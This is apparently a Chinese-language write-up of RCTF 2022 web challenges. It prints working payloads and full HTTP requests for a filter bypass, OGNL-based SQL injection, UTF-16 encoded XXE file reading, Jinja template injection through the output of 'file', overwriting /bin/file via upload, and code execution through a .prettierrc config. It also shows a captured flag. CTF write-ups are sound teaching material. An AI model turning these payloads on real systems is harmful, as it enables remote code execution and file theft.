ezbypass

"关卡"式的Java题springboot框架,首先就是绕过一个Filter

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        if (!this.isWhite(request) && !this.auth()) {
            response.getWriter().write("auth fail");
        } else {
            chain.doFilter(request, response);
        }

    }

    public boolean isWhite(ServletRequest req) {
        HttpServletRequest request = (HttpServletRequest)req;
        return request.getRequestURI().endsWith(".ico");
    }

大致作用是检测url的末尾是不是.ico,不是的话就不允许访问。然后Controller层的路由只有一个index。所以这里要绕一下

image-20221213191349392

https://www.cnblogs.com/nice0e3/p/14801884.html

然后是一个ban了单引号的sql注入,只要能查出来数据就可以进xxe部分

public String sayHello(String password, String poc, String type, String yourclasses, HttpServletResponse response) throws Exception {
        if (password.length() <= 50 && password.indexOf("'") == -1) {
            String username = this.userService.selectUsernameByPassword(password);
            if (username != "") {
                String[] classes = yourclasses.split(",", 4);
                return xxe(poc, type, classes);
            } else {
                return "index";
            }
        } else {
            System.out.println("not allow");
            return "not allow";
        }
    }
    public String selectByPassword(Map<String, Object> params) {
        return ((SQL)((SQL)((SQL)((SQL)(new SQL()).SELECT("*")).FROM("users")).WHERE("password = '" + params.get("password") + "'")).LIMIT(1)).toString();
    }

而该项目是使用mybatis框架的,mybatis框架自带了OGNL表达式,这里可以使用OGNL表达式绕过~

我们在 Mybatis 的 mapper.xml 映射文件里写 SQL 查询单个学生记录的时候是这样写的:

<select id="get" parameterType="java.lang.Long" resultType="Student">
    select id, name, sex from t_student where id = #{id}
</select>

其中传进来的参数 #{id} 就是使用的 OGNL 表达式。

虽然开发见到过,但真正打CTF比赛还是想不到捏QAQ

${@java.lang.Character@toString(39)}or 1=1) #
${@java.lang.Character@toString(39)}or(1=1))#

${@java.lang.Character@toString(39)}就代表单引号

再然后是XXE,编码绕过,可以参考~

https://xz.aliyun.com/t/4059

payload = """
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag">]>
<users><user><intro>&yeet;</intro></user></users>"""
payload = b'<?xml version="1.0" encoding="UTF-16LE" ?>' + payload.encode('UTF-16LE')
payload = base64.b64encode(payload)
print(payload)

最后

Constructor constructor = Class.forName(classes[0]).getDeclaredConstructor(Class.forName(classes[1]));
if (type.equals("string")) {
    String stringpoc = new String(bytepoc);
    wrappoc = constructor.newInstance(stringpoc);
} else {
    wrappoc = constructor.newInstance(bytepoc);
}

inputSource = (InputSource)Class.forName(classes[2]).getDeclaredConstructor(Class.forName(classes[3])).newInstance(wrappoc);

使用ByteArrayInputStream转换为输入流,构造方法参数为byte[] ,(原来bytes[]的类叫"[B"。)

img

所以classes[1]填"[B",classes[2]易得InputSource,由InputSource类构造方法得classes[3]为InputStream

image-20221213210518440

最后的payload

data = {
   "password":"${@java.lang.Character@toString(39)}or(1=1))#",
   "poc":payload,
   "type":"suibianshenme",
   "yourclasses":"java.io.ByteArrayInputStream,[B,org.xml.sax.InputSource,java.io.InputStream"
}

filechecker_mini

from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
    try:
        if request.method == 'GET':
            return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

        elif request.method == 'POST':
            f = request.files['file-upload']
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

            if os.path.exists(filepath) and ".." in filepath:
                return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
            else:
                f.save(filepath)
                file_check_res = subprocess.check_output(
                    ["/bin/file", "-b", filepath], 
                    shell=False, 
                    encoding='utf-8',
                    timeout=1
                )
                os.remove(filepath)
                if "empty" in file_check_res or "cannot open" in file_check_res:
                    file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
                return render_template_string(file_check_res)

    except:
        return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
    serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

https://blog.zeddyu.info/2020/01/08/36c3-web/#upload-arbitrary-data

payload

#!/{{config.__class__.__init__.__globals__['os'].popen('nl /flag').read()}}
POST / HTTP/1.1
Host: 159.138.107.47:13001
Content-Length: 275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.107.47:13001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynzkjOGR2z4VJhgSR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.107.47:13001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarynzkjOGR2z4VJhgSR
Content-Disposition: form-data; name="file-upload"; filename="1.php"
Content-Type: application/octet-stream

#!/{{config.__class__.__init__.__globals__['os'].popen('nl /flag').read()}}
------WebKitFormBoundarynzkjOGR2z4VJhgSR--

RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}

filechecker_plus

from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
    try:
        if request.method == 'GET':
            return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

        elif request.method == 'POST':
            f = request.files['file-upload']
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

            if os.path.exists(filepath) and ".." in filepath:
                return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
            else:
                f.save(filepath)
                file_check_res = subprocess.check_output(
                    ["/bin/file", "-b", filepath], 
                    shell=False, 
                    encoding='utf-8',
                    timeout=1
                )
                os.remove(filepath)
                if "empty" in file_check_res or "cannot open" in file_check_res:
                    file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
                return render_template('index.html', result=file_check_res)

    except:
        return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
    serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)

比起上一问给了root权限,可以覆盖/bin/file

POST / HTTP/1.1
Host: 159.138.110.192:23001
Content-Length: 217
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://159.138.110.192:23001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEO0FeNRYXSTn12mm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://159.138.110.192:23001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryEO0FeNRYXSTn12mm
Content-Disposition: form-data; name="file-upload"; filename="/bin/file"
Content-Type: application/octet-stream

#!/bin/sh
ls /
------WebKitFormBoundaryEO0FeNRYXSTn12mm--

filechecker_pro_max

派神的详细分析太帅啦~

https://pankas.top/2022/12/12/rctf-web/#filechecker-pro-max

Prettier Online

filepath: ".prettierrc"
parser: ".prettierrc"
parse: 
  - 1;module.exports = ()=> global.process.mainModule.constructor._load('child_process').execSync('ls /').toString()

发表评论